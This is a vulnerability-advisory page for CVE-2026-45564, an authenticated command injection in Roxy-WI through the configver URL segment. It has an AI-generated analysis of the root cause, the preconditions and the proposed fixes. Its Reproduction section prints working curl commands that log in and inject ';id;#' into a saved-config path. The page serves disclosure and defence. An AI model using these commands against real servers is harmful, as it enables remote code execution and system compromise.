CVE-2026-45564
Description
Roxy-WI versions 8.2.6.4 and prior allow authenticated users to execute arbitrary commands via a vulnerable URL parameter.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Roxy-WI versions 8.2.6.4 and prior allow authenticated users to execute arbitrary commands via a vulnerable URL parameter.
Vulnerability
Roxy-WI versions 8.2.6.4 and prior are vulnerable to command injection. The configver parameter in the POST /config/versions//<server_ip>//save endpoint is directly interpolated into a path used by os.system(f"dos2unix -q {cfg}"). This occurs because configver is not properly escaped, and a previous patch for tuple-membership checks was insufficient [1].
Exploitation
An authenticated user with a role of 'user' (level 3) or lower can exploit this vulnerability. The attacker needs to send a POST request to the /config/versions/haproxy/127.0.0.1/x;id;#/save endpoint, crafting the configver URL parameter with shell metacharacters. This parameter is then passed to dos2unix -q, allowing for command execution [1].
Impact
Successful exploitation allows an attacker to execute arbitrary commands on the server with the privileges of the Roxy-WI process. This can lead to a full compromise of the affected system [1].
Mitigation
There are no publicly available patches for this vulnerability at the time of publication. Users are advised to monitor the project's security advisories for updates [1].
AI Insight generated on Jun 10, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected products
2Patches
0No patches discovered yet.
Vulnerability mechanics
Root cause
"The 'configver' URL parameter is directly interpolated into a command executed by os.system without proper sanitization."
Attack vector
An authenticated user with a role of 'user' (level 3) can exploit this vulnerability. The attacker crafts a POST request to `/config/versions/<service>/<server_ip>/<configver>/save`. By including shell metacharacters within the `configver` URL path segment, such as `;id;#`, the attacker can inject and execute arbitrary commands. This occurs because `configver` is not properly escaped before being passed to `os.system` [ref_id=1].
Affected code
The vulnerability lies within the `save_version` function in `app/routes/config/routes.py` and the subsequent call to `os.system` in `app/modules/config/config.py`. Specifically, the `configver` parameter from the URL is concatenated with `config_dir` and then passed to `os.system(f"dos2unix -q {cfg}")` without adequate validation or escaping [ref_id=1].
What the fix does
The advisory indicates that no patches are publicly available at the time of publication. However, it suggests a remediation strategy that involves validating the `configver` input against a regular expression to ensure it only contains safe characters. Additionally, the path should be resolved to its real path and checked to ensure it remains within the intended configuration directory. Finally, the command execution should be changed from `os.system` to `subprocess.run` to pass the path as an argument rather than through a shell [ref_id=1].
Preconditions
- authThe attacker must be authenticated with a user role of 3 or lower.
Reproduction
# Authenticate (role <= 3 sufficient). curl -sc /tmp/u.jar -X POST http://victim.example/login \ -H 'Content-Type: application/json' \ -d '{"login":"editor","pass":"editor"}'
# Trigger RCE via shell metacharacters in configver. URL-encoded: curl -sb /tmp/u.jar -X POST \ "http://victim.example/config/versions/haproxy/127.0.0.1/x;id;%23/save" \ -H "X-CSRF-TOKEN: $(awk '/csrf_access_token/{print $7}' /tmp/u.jar)" \ -H 'Content-Type: application/json' \ -d '{"action":"save"}' The attacker-controlled configver = x;id;# lands at os.system(f"dos2unix -q {config_dir}x;id;#") → bash splits on ; → runs id and discards the trailing comment. [ref_id=1]
Generated on Jun 10, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
1News mentions
0No linked articles in our index yet.